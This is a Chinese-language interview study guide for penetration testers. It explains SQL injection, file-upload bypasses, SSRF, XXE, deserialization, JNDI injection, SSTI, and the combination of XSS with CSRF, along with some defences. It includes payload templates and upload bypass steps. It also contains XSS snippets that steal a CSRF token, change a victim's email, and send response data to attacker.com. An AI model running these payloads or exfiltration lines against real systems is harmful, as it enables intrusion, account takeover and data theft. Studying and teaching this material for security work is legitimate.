渗透测试面试高频 Web 安全问题深度解析
本文针对渗透测试面试中最高频的九个 Web 安全问题进行深度解析,每个问题从基础原理讲到实战绕过再到防御方案,覆盖面试官期望听到的完整答案。
问题一:SQL 注入分类有哪些?UNION/报错/布尔/时间盲注分别用什么函数?
1.1 分类体系
SQL 注入按回显方式分为四大类,基础分类:
SQL注入回显分类:
├── 联合查询注入 → 页面直接显示查询结果
├── 报错注入 → 页面显示SQL错误信息
├── 布尔盲注 → 页面有两种不同状态(正常/异常)
└── 时间盲注 → 页面无任何差异,通过延时判断
1.2 联合查询注入 (UNION SELECT)
核心函数: UNION SELECT、ORDER BY、GROUP_CONCAT
1 | -- 判断列数 |
面试加分点: 说出-1(或大数字)的目的是让原始查询返回空集,这样 UNION 后的结果才能显示。如果id做了 int 强转,改用id=1 AND 1=2让条件为假。
1.3 报错注入
核心函数分类:
| 函数 | 限制 | 原理 |
|---|---|---|
extractvalue(1,concat(0x7e,(sql),0x7e)) |
最多 32 字符 | 第二个参数为非法 XPATH→ 报错 |
updatexml(1,concat(0x7e,(sql),0x7e),1) |
最多 32 字符 | 同上,非法 XPATH |
floor(rand(0)*2) + GROUP BY |
无长度限制 | RAND()在 GROUP BY 中重复计算导致键冲突 |
面试官追问:floor 报错为什么要用rand(0)而不是rand()?
答:rand(0)是固定种子,产生可预测的随机序列,保证每次 GROUP BY 时floor(rand(0)*2)的值变化规律固定,稳定触发Duplicate entry错误。用无种子的rand()每次执行序列不同,不一定触发报错。
1 | -- floor报错完整payload(无长度限制) |
面试加分点: 补充其他报错函数——exp(~())溢出(MySQL<=5.5.48)、geometrycollection()、polygon()、multipoint()、BIGINT溢出(~0+!()),体现广度。
1.4 布尔盲注
核心函数: substr()、ascii()、length()、if()
1 | -- 判断数据库名长度 |
面试加分点: 能写出二分法布尔盲注脚本的核心逻辑,说明可以用>/<快速收敛而不是笨办法遍历整个字符集。
1.5 时间盲注
核心函数: sleep(N)、benchmark(N,expr)、if(condition, sleep(N), 0)
1 | -- 基础探测 |
面试加分点: 说出时间盲注的致命弱点——网络波动会导致误判,需要多次验证和超时重试机制。另外可以提GET_LOCK()函数,利用 MySQL 的命名锁做延时,比较冷门但实用。
1.6 面试话术模板
“SQL 注入按回显方式分四类。有回显优先用 UNION,有报错优先用 extractvalue/updatexml/floor,有状态差异用布尔盲注,无差异用时间盲注。其中 floor 报错无长度限制最实用,布尔盲注用二分法最高效,时间盲注最慢需要处理网络波动。如果 information_schema 被禁用,可以用 innodb_table_stats、sys 库或者无列名注入来绕过。”
问题二:无 information_schema 时怎么注?
这是 2024-2026 年面试必问的实战应变题。
2.1 MySQL 5.6+ 使用 InnoDB 内表
1 | -- innodb_table_stats (MySQL 5.6+) |
2.2 MySQL 5.7+ 使用 sys 库
1 | -- sys.schema_table_statistics (MySQL 5.7+) |
2.3 无列名注入(最核心的绕过技术)
当知道表名但不知道列名(或列名也无法获取时),不需要列名也能查数据:
1 | -- 核心思想:给查询结果赋临时列名1,2,3... |
面试加分点: 能讲清楚为什么反引号”`2`“而不是直接写2——SQL 中纯数字是数值字面量,反引号告诉解析器这是列名。另外可以用a.1、a.2等别名方式。
2.4 其他绕过方式
1 | -- 利用报错信息泄露表名 |
2.5 面试话术模板
“无 information_schema 时有几条路:第一优先用 mysql.innodb_table_stats 和 innodb_index_stats(MySQL 5.6+都有),第二用 sys 库(5.7+),第三也是最重要的——无列名注入。核心技巧是用
SELECT 1,2,3 UNION SELECT * FROM users构造临时列名,然后用反引号引用列号获取数据。这个过程可以完全绕过对 information_schema 的依赖。”
问题三:你遇到过的最难的文件上传绕过是什么?
这道题考察的不是知识点罗列,而是真实的实战经验和解决思路。
3.1 经典难点场景分类
场景一:白名单 + 二次渲染(最难的一类)
防御措施:
- 白名单只允许 .jpg/.png/.gif
- 上传后对图片做缩放+压缩(二次渲染)
- 文件头校验
- getimagesize()校验
绕过思路:
1. 常规绕过全部失败(改后缀/Content-Type/文件头都无效)
2. 制作真正的图片马 → 但二次渲染会清除嵌入的PHP代码
3. 关键突破:分析渲染后的图片,找到渲染器未修改的字节区域
- GIF最容易被利用(格式简单,数据块边界清晰)
- 在GIF的comment extension或application extension中插入PHP代码
- JPG更难,需要找到不会被重新编码的EXIF段
4. 或者利用图片格式本身的"容错性"
- 在图片末尾附加PHP代码(某些渲染器保留尾部数据)
5. 终极方案:如果图片处理后仍然存在EXIF/Copyright字段
→ 在这些字段中嵌入WebShell
GIF 二次渲染绕过实战:
1 | // 普通的图片马会被二次渲染干掉 |
场景二:后缀名被完全控制 + 内容检测 + 文件名随机化
防御措施:
- 白名单 .jpg/.png/.gif/.bmp/.webp
- 文件名改为 UUID + 白名单后缀(如 a1b2c3d4.jpg)
- MIME type检测
- 文件头检测
绕过思路:
1. 后缀白名单无法突破 → 放弃直接上传PHP
2. 转向 .htaccess 或 .user.ini (如果Apache/Nginx+PHP-FPM)
→ 先上传 .htaccess: AddType application/x-httpd-php .jpg
→ 再上传图片马 shell.jpg
3. 如果.htaccess也被后缀白名单拦了
→ 测试 .user.ini (PHP-FPM环境): auto_prepend_file=shell.jpg
4. 如果都不行 → 测试 %00截断、换行截断
5. 终极:Apache解析漏洞 → shell.php.xxx → Apache不认识.xxx → 向前解析为.php
6. 如果随机文件名导致无法找到文件
→ 利用条件竞争:上传同时爆破文件名(或从响应中提取文件名)
场景三:条件竞争——上传和校验之间的时间窗口
防御措施:
- 上传→保存→校验→校验失败→删除
绕过思路:
1. 文件先被保存到磁盘,然后才校验
2. 在校验完成到删除之间,有一个毫秒级的时间窗口
3. 用多线程并发:一边疯狂上传,一边疯狂访问
4. 在文件被删除前的瞬间执行WebShell
5. Python脚本关键:
- 线程A: 无限循环上传shell.php
- 线程B: 无限循环GET /uploads/shell.php
- 一旦某个请求返回200 → 利用成功
3.2 详细的绕过排查顺序(面试必背)
文件上传绕过排查顺序(从易到难):
第1步: 客户端绕过
├── JS校验 → 抓包改后缀/删JS/禁用JS
└── accept属性 → 抓包改Content-Type
第2步: 服务端后缀名绕过
├── 黑名单: 大小写/双写/空格/点/::DATA/特殊后缀
├── 白名单: %00截断/.htaccess/.user.ini/Apache解析漏洞
└── IIS: 分号截断/目录解析
第3步: 服务端内容绕过
├── Content-Type → 抓包改为image/jpeg
├── 文件头 → 添加GIF89a/PNG/JPG头
└── getimagesize → 制作真正的图片马
第4步: 二次渲染
└── 找到不被修改的图片数据区域插入代码
第5步: 条件竞争
└── 并发上传+访问,在删除前执行
第6步: 逻辑漏洞
├── 路径可控 → 目录穿越
├── 文件名可控 → 覆盖关键文件
└── 压缩包上传 → Zip Slip解压路径穿越
3.3 面试话术模板
“我遇到过最难的场景是白名单+二次渲染的组合。白名单堵死了所有可执行后缀,二次渲染又会清除嵌入的 PHP 代码。最后是通过分析 GIF 的 Comment Extension Block——这个区域二次渲染器通常不修改——把 WebShell 写进去解决的。另外,文件上传遇到瓶颈时不要死磕后缀,要退一步看看有没有其他攻击面:.htaccess、.user.ini、条件竞争、Apache/IIS 解析漏洞、路径穿越、压缩包上传,任何一个突破口都行。”
问题四:SSRF 怎么打内网?能打哪些协议?Redis/MySQL/FastCGI 怎么利用?
4.1 SSRF 打内网的核心价值
SSRF(Server-Side Request Forgery)本质是让服务器替你访问,价值在于:
服务器在内网 → SSRF 可以访问攻击者直连不到的内网服务
服务器在云上 → SSRF 可以访问 169.254.169.254 获取云元数据(IAM Role/凭据)
4.2 SSRF 支持的协议
SSRF能打的协议取决于后端函数:
PHP:
├── curl_exec() → http, https, ftp, ftps, tftp, gopher, dict, file, ldap, imap, sftp, smtp, telnet
├── file_get_contents() → http, https, ftp, file, php:// (allow_url_fopen=On时)
├── fsockopen() → tcp/udp原始socket(最灵活)
└── SOAPClient → http, https
Java:
├── URLConnection → http, https, file, jar, ftp, gopher
├── HttpClient → http, https
├── RestTemplate → http, https
└── Netty → http, https
Python:
├── requests/urllib → http, https, ftp, file
└── urllib2 → http, https, ftp, file, gopher (Python2), data
4.3 利用 gopher 协议打内网服务(SSRF 核心技能)
gopher 协议是万能协议,可以封装任意 TCP 数据流。配合curl_exec()可以构造任意 TCP 请求。
打 Redis
1 | # Redis未授权访问 → 写SSH公钥/crontab/WebShell |
Redis RESP 协议手动构造原理:
Redis RESP协议格式:
*<参数数量>\r\n
$<参数长度>\r\n
<参数>\r\n
FLUSHALL命令:
*1\r\n$8\r\nFLUSHALL\r\n
SET x test命令:
*3\r\n$3\r\nSET\r\n$1\r\nx\r\n$4\r\ntest\r\n
# 组合多个命令 → URL编码 → 放入gopher://
# 关键:用_作为第一个字符(gopher协议约定)
# gopher://192.168.1.100:6379/_*1%0d%0a$8%0d%0aFLUSHALL%0d%0a...
打 MySQL
1 | # MySQL连接时服务端先发Greeting包 |
打 FastCGI (PHP-FPM)
1 | # PHP-FPM默认监听127.0.0.1:9000 |
4.4 SSRF 打云元数据
1 | # AWS元数据 (IMDSv1) |
4.5 SSRF 绕过技巧
IP限制绕过:
├── 127.0.0.1 → 0.0.0.0, 0, 127.1, 2130706433(十进制), 0x7f000001(十六进制)
├── localhost → localhost.xxx.com (DNS解析到127.0.0.1)
├── DNS Rebinding → 两次DNS查询返回不同IP
└── URL跳转 → 利用302跳转从白名单域跳转到内网IP
协议限制绕过:
├── dict:// → 探测端口
├── gopher:// → 封装任意TCP(最强大)
├── file:// → 读文件
└── netdoc:// → Java特有,读文件
内网IP段探测:
├── 先探测网段存活(根据已知信息缩小范围)
├── 常见: 10.x, 172.16-31.x, 192.168.x
└── 使用dict协议批量探测端口: dict://内网IP:端口
4.6 面试话术模板
“SSRF 打内网的核心武器是 gopher 协议,它能封装任意 TCP 流。配合 Gopherus 工具可以自动生成打 Redis/MySQL/FastCGI 的 payload。如果 gopher 被禁了,就退回到 dict/dict 探测端口,file 读文件。如果所有协议都被白名单了,还有最后一招 DNS Rebinding。SSRF 最值钱的场景是打云元数据——AWS/Azure/阿里云的元数据地址是固定的,拿到 IAM 凭据可以直接接管整个云账号。”
问题五:XXE 能干什么?有回显/无回显分别怎么利用?
5.1 XXE 漏洞本质
XXE(XML External Entity,XML 外部实体注入)发生在解析 XML 时未禁用外部实体,攻击者通过声明外部实体来读取文件、发起 SSRF、探测内网甚至执行命令。
5.2 有回显 XXE
当 XML 解析结果或错误信息返回给客户端时,可以直接读取文件或发起 SSRF。
读文件
1 |
|
可以读什么:
1 | <!-- Linux --> |
探测内网
1 |
|
5.3 无回显 XXE(Blind XXE / Out-of-Band XXE)
当服务器不返回解析结果时,通过**带外通道(OOB)**窃取数据。
核心思路:让服务器把数据外带出来
1 | <!-- Step 1: 在自己控制的服务器上托管DTD文件 --> |
读 PHP/二进制文件(Base64 编码外带)
1 | <!-- 用php://filter的Base64编码传输 --> |
5.4 XXE 进阶利用
1 | # 1. 拒绝服务(Billion Laughs攻击) |
5.5 面试话术模板
“XXE 按回显分两类。有回显直接用 file://读文件或 php://filter 读源码。无回显用带外通道——在自己的服务器上托管 DTD 文件,让目标加载后把文件内容通过 HTTP 请求外带出来,抓 HTTP 日志就能看到。进阶利用包括:expect 执行命令、Billion Laughs 打 DoS、结合 gopher 打内网 SSRF、利用 FTP 上传文件。XXE 的防御很简单,禁用外部实体就完了,但旧版本 libxml 默认开启,所以老系统很常见。”
问题六:反序列化漏洞的原理?Java 和 PHP 反序列化的区别?
6.1 反序列化漏洞核心原理
反序列化是将字节流恢复为对象的过程。漏洞的核心矛盾在于:反序列化过程中会自动调用对象的某些魔术方法,而攻击者控制了序列化数据的对象类型和属性值,从而控制了哪些方法被调用。
反序列化漏洞 = 攻击者控制的输入 × 自动执行的魔术方法
6.2 PHP 反序列化
核心:魔术方法 + POP 链
PHP 中的关键魔术方法(按攻击相关度排序):
| 魔术方法 | 触发时机 | 攻击用途 |
|---|---|---|
__destruct() |
对象被销毁(脚本结束/显式 unset) | 最大利用面,几乎总是触发 |
__wakeup() |
unserialize()之后立即调用 | 早于 destruct,用于初始化 |
__toString() |
对象被当作字符串使用 | 配合 echo/file_put_contents 等 |
__call($name,$args) |
调用不存在的方法 | 配合动态方法调用 |
__get($name) |
访问不存在的属性 | 配合属性访问链 |
__set($name,$value) |
设置不存在的属性 | 配合属性赋值 |
__invoke() |
对象被当作函数调用 | 配合回调函数参数 |
POP 链构造示例
1 |
|
PHP 反序列化高级话题
1 | // 1. phar:// 反序列化(无需unserialize()) |
6.3 Java 反序列化
Java 反序列化与 PHP 有本质区别——不依赖特定的魔术方法名,依赖于:
readObject()→ 自动调用利用链(Gadget Chain)→ 从一个看似无害的类开始,通过反射/动态代理/JNDI 等层层调用到达危险操作
Java 生态丰富,利用链众多
Java 反序列化核心概念
1 | // Java反序列化的关键入口 |
经典利用链(CommonsCollections)
CommonsCollections1 (CC1):
AnnotationInvocationHandler.readObject()
→ Proxy (动态代理)
→ LazyMap.get()
→ TransformerChain.transform()
→ ConstantTransformer.transform()
→ InvokerTransformer.transform()
→ Runtime.getRuntime().exec() (任意命令执行)
CommonsCollections6 (CC6, JDK全版本通用):
HashMap.readObject()
→ TiedMapEntry.hashCode()
→ LazyMap.get()
→ ...(同上CC1的后半链)
URLDNS (探测链,无危害但实用):
HashMap.readObject()
→ URL.hashCode()
→ URLStreamHandler.hashCode()
→ InetAddress.getByName() (触发DNS查询)
主要利用链家族
| 利用链 | 适用范围 | 说明 |
|---|---|---|
| CommonsCollections 1-7 | CommonsCollections 3.x-4.x | 最经典的链 |
| CommonsBeanutils | 广泛的框架依赖 | JDK 版本无关,适用性极好 |
| Jdk7u21 | JDK < 7u21 | JDK 原生链,无第三方依赖 |
| Spring | Spring 框架 | 利用 Spring 的 AOP |
| Hibernate | Hibernate ORM | 利用 Hibernate 的回调 |
| Fastjson/Jackson | JSON 库 | readObject 的变体,通过 JSON 反序列化触发 |
| Shiro RememberMe | Shiro 框架 | AES 加密+序列化,一套独立利用 |
6.4 PHP vs Java 反序列化核心区别
| 维度 | PHP | Java |
|---|---|---|
| 触发方式 | unserialize() + phar:// |
readObject() + Fastjson/Jackson/XStream 等 JSON 的特定 |
| 利用链来源 | 项目源码中的类(白盒 POP 链) | 库/框架中的 Gadget 链(黑盒也能打) |
| 依赖需求 | 需要目标代码中的类 | 需要 classpath 中有特定库 |
| 检测难易 | 需要代码审计找 POP 链 | 用 ysoserial 逐一尝试各利用链 |
| 常见场景 | CMS/框架(ThinkPHP/Laravel) | 中间件/大数据(WebLogic/Tomcat/JBoss/Shiro/Fastjson) |
| 关键工具 | PHPGGC, 手工构造 | ysoserial, JNDIExploit, marshalsec |
6.5 面试话术模板
“PHP 反序列化的核心是魔术方法和 POP 链,需要做代码审计在目标源码中找可以利用的类。Java 反序列化不依赖特定类名,利用的是库中已有的 Gadget 链,用 ysoserial 逐个尝试就行。PHP 最大的攻击面在
__destruct和 phar://,Java 最大的攻击面在各种中间件和框架的readObject()。防御上,PHP 需要控制 unserialize 的输入或使用白名单类,Java 可以用 SerialKiller 看门狗类或直接不用 Java 原生序列化(改用 JSON/Protobuf)。”
问题七:JNDI 注入原理?高版本 JDK(>8u191)怎么绕?
7.1 JNDI 注入原理
JNDI(Java Naming and Directory Interface)是 Java 的命名和目录服务接口,设计用于查找资源(如数据库连接、消息队列)。核心问题在于lookup()方法的动态特性。
1 | // 漏洞代码 |
经典利用链
JNDI注入利用流程:
1. 发送: lookup("ldap://attacker.com:1389/EvilClass")
2. JNDI → 连接LDAP服务器 → 获取Reference对象
Reference格式:
{
className: "EvilClass",
factory: "EvilFactory",
factoryLocation: "http://attacker.com/"
}
3. 如果factoryLocation指向远程 → 远程加载类的字节码
→ ClassLoader从 http://attacker.com/ 加载EvilFactory.class
4. 恶意EvilFactory的静态代码块或工厂方法被执行
→ Runtime.getRuntime().exec("calc.exe")
关键: lookup()不只是查找,它会尝试加载并实例化远程类
7.2 JDK 版本限制与绕过
各版本 JNDI 限制
1 | JDK < 8u113 → RMI + LDAP 都可远程加载(无限制) |
高版本 JDK 绕过技巧
1 | # === 绕过1: 利用本地Gadget链 (绕过远程加载限制) === |
7.3 Log4j (Log4Shell) 与 JNDI 的关系
1 | // Log4j CVE-2021-44228 本质就是JNDI注入 |
7.4 面试话术模板
“JNDI 注入的本质是 lookup()方法会加载并实例化远程对象。JDK 6u132/7u122/8u113 开始逐步限制 RMI 和 LDAP 的远程代码库加载,但绕法有三:一是利用 LDAP 返回序列化数据,配合本地 Gadget 链打反序列化;二是利用特定 Factory 类(如 Tomcat 的 BeanFactory)做二次利用;三是转向纯反序列化向量——lookup()对序列化数据没有限制。Log4j 就是 JNDI 注入的最著名案例。记住,只要 lookup()的 URL 可控,总有一条路能走通。”
问题八:SSTI 和传统 SQL 注入有什么不同?Jinja2/Smarty/FreeMarker 各怎么利用?
8.1 SSTI vs SQL 注入
| 维度 | SQL 注入 | SSTI(服务端模板注入) |
|---|---|---|
| 注入目标 | 数据库 SQL 引擎 | 模板引擎 |
| 执行位置 | 数据库服务器 | Web 服务器 |
| 造成后果 | 数据泄露/篡改/删除 | 直接 RCE(大多数模板引擎) |
| 利用难度 | 较低,自动化工具成熟 | 中高,每种模板引擎语法不同 |
| 危害上限 | 到数据库服务器操作系统 | 到 Web 应用服务器操作系统 |
| 检测难度 | 较低(报错明显) | 较高(需要试探模板引擎类型) |
关键区别:SSTI 往往比 SQL 注入危害更大——SSTI 直接拿到 Web 服务器的 Shell,SQL 注入还需要配合其他条件(FILE 权限/write 权限/outfile 限制)才能 RCE。
8.2 SSTI 通用检测方法
SSTI检测流程图:
1. 输入 {{7*7}} → 返回49?
├── 是 → SSTI确认
└── 否 → 继续试
2. 输入 ${7*7} → 返回49?
├── 是 → SSTI确认(FreeMarker/Jasper风格)
└── 否 → 继续试
3. 输入 <%=7*7%> → 返回49?
├── 是 → SSTI确认(ERB/EJS风格)
└── 否 → 可能无SSTI或做了严格过滤
4. 确认后识别模板引擎:
├── 观察应用的框架(Java → FreeMarker/Velocity; Python → Jinja2/Mako; PHP → Smarty/Twig)
├── 查看错误信息(引擎名通常在错误堆栈中)
└── 利用各个引擎的特定语法探测
8.3 Jinja2 (Python Flask) 利用
Jinja2 是 Flask 默认模板引擎,是最常见的 SSTI 目标。
1 | # Jinja2 SSTI 完整利用链 |
Jinja2 利用注意:
Python3 vs Python2 的
__mro__顺序不同不同环境子类列表不同,需要动态探测下标
常见可用类:
os._wrap_close、subprocess.Popen、warnings.catch_warnings、_io.FileIO部分环境可能 Sandbox 了
__class__/__mro__,需要其他绕过方式
8.4 Smarty (PHP) 利用
Smarty 是 PHP 模板引擎,利用方式与 Jinja2 完全不同。
1 | {* Smarty SSTI *} |
8.5 FreeMarker (Java) 利用
FreeMarker 是 Java 中最常见的模板引擎之一。
1 | <#-- FreeMarker SSTI --> |
8.6 其他模板引擎快速参考
1 | # Velocity (Java) |
8.7 面试话术模板
“SSTI 和 SQL 注入最大的不同是:SSTI 可以直接 RCE 到 Web 服务器,危害上限更高。每种模板引擎有不同的利用语法——Jinja2 走 Python 对象链找到 os 模块,Smarty 走{php}标签或已注册函数,FreeMarker 走 Execute 工具类。检测时先用
{{7*7}}、${7*7}、<%=7*7%>三种语法快速定位引擎类型,然后针对性地构造 payload。防御上最好的方式是无逻辑模板——把模板和数据严格分离,不让用户输入进入模板本身。”
问题九:CSRF 怎么配合 XSS 打?SameSite Cookie 三种值的区别?
9.1 XSS + CSRF 组合拳
CSRF(跨站请求伪造)的最大限制是不能读取响应。但配合 XSS,CSRF 的威力会指数级提升。
场景一:XSS 辅助 CSRF 获取 Token
攻击场景: 修改用户邮箱的表单受CSRF Token保护
传统CSRF: 无法获取Token → 无法构造有效请求
XSS + CSRF:
1. 通过XSS注入JS到 target.com 的页面
2. JS运行在 target.com 域下 → 可以读取同域下的CSRF Token
3. JS读取表单中的Token → 构造完整AJAX请求 → 修改邮箱
// XSS payload
var xhr = new XMLHttpRequest();
xhr.open('GET', '/settings', false); // 同步请求获取Token
xhr.send();
var token = xhr.responseText.match(/csrf_token=([^"']+)/)[1];
// 用获取的Token发起CSRF
xhr.open('POST', '/change-email');
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('email=attacker@evil.com&csrf_token=' + token);
场景二:XSS 实现 CSRF 不可达的操作
什么是CSRF不可达的操作?
- 需要复杂JSON Body的API(CSRF伪造成form无法发送JSON)
- 需要自定义Header的接口
- PUT/DELETE方法(虽然有fetch但form表单无法发送)
- 需要读取服务端响应做判断的多步操作
XSS可以完整实现所有操作:
// XSS → fetch发起任何请求,读取任何响应
fetch('/api/transfer', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({to: 'attacker', amount: 10000})
}).then(r => r.json()).then(data => {
// 读取响应 → 判断是否成功 → 继续下一步
fetch('http://attacker.com/collect?result=' + btoa(JSON.stringify(data)));
});
场景三:XSS 突破 CSRF 的 SameSite 限制
SameSite=Strict时传统CSRF无法利用(因为跨站不发Cookie)
但XSS运行在同域下 → 自动携带Cookie → SameSite限制无效
9.2 SameSite Cookie 三种值
这是 2024-2026 年面试高频问点,必须掌握。
SameSite=Strict(最严格)
行为: Cookie只在完全同站(same-site)请求中发送
即使用户从任何外部站点点击链接到目标站,也不会发送Cookie
场景:
用户登录了 bank.com
用户在邮件中点击了 bank.com/transfer 的链接
→ 浏览器不发送Cookie → 用户看起来是"未登录"状态
→ CSRF攻击完全无效
缺点: 用户体验差(点击银行官方邮件中的链接也需要重新登录)
最适合: 高敏感操作(转账/修改密码/删除账户)
SameSite=Lax(Chrome 默认值)
行为: Cookie在"顶级导航"的同站请求中发送
"顶级导航" = 浏览器地址栏变化 + GET方法
即: <a href>点击跳转 → 发送Cookie
<form method="GET">提交 → 发送Cookie
<form method="POST">提交 → 不发送Cookie
<img src> → 不发送Cookie (不是顶级导航)
AJAX请求 → 不发送Cookie (不是顶级导航)
场景:
从外部站点点击链接到 bank.com → 带Cookie → 保持登录
从外部站点POST提交 → 不带Cookie → 防御CSRF
<img src="bank.com/transfer?amount=10000"> → 不带Cookie → 防御CSRF
最适合: 大多数Web应用的默认配置
是安全性和用户体验的折中方案
SameSite=None(最宽松)
行为: Cookie在所有跨站请求中都发送
必须同时设置 Secure=true(只能在HTTPS下使用)
场景:
第三方嵌入(如iframe中的支付页面)
跨站API调用
OAuth回调
风险: 容易受CSRF攻击,必须配合CSRF Token等其他防御手段
9.3 SameSite 实践要点
策略矩阵:
操作类型 SameSite=Strict SameSite=Lax SameSite=None
───────────────────────────────────────────────────────────────
<a href>点击 ✅ ✅ ✅
<form GET>提交 ✅ ✅ ✅
<form POST>提交 ❌ ❌ ✅
<img/fetch/AJAX ❌ ❌ ✅
iframe中加载 ❌ ❌ ✅
从其他站点跳转 ❌ ✅(GET only) ✅
CSRF防御有效性:
对POST CSRF 完全有效 完全有效 无效(需Token)
对GET CSRF 完全有效 部分有效 无效(需Token)
9.4 面试话术模板
“CSRF 最致命的限制是不能读响应,XSS 正好补上这一环。XSS 可以读取同域下的 CSRF Token,可以发送复杂 JSON 请求,可以读取服务端响应实现多步自动化攻击。SameSite 是浏览器层面的 CSRF 防御——Lax 是 Chrome 的默认值,POST 跨站请求不发送 Cookie,对大多数 CSRF 场景有效;Strict 更严格但影响用户体验;None 必须搭配 HTTPS 和 CSRF Token。但 SameSite 不是银弹——XSS 运行在同域下不受 SameSite 影响,所以防御根本上还是要消除 XSS。”
总结:Web 安全面试答题框架
面试回答问题时的核心框架:
1. 下定义(15秒)→ 一句话说清楚漏洞是什么
2. 讲分类(30秒)→ 按某个维度分类,展示系统性理解
3. 说原理(60秒)→ 核心机制,why not what
4. 给实例(30秒)→ 具体代码/命令/场景
5. 谈绕过(45秒)→ 展示深度和实战经验
6. 讲防御(30秒)→ 从根源解决不是打补丁
7. 扩展(加分)→ 补充不常见的知识点、最新动态
面试官想听的从来不是你背了多少知识点,而是你遇到问题时的排查思路和绕过失败的应变能力。
面试铁律: 不怕你不会,怕你不说思路。遇到没碰过的场景,把分析框架说出来,面试官一样认。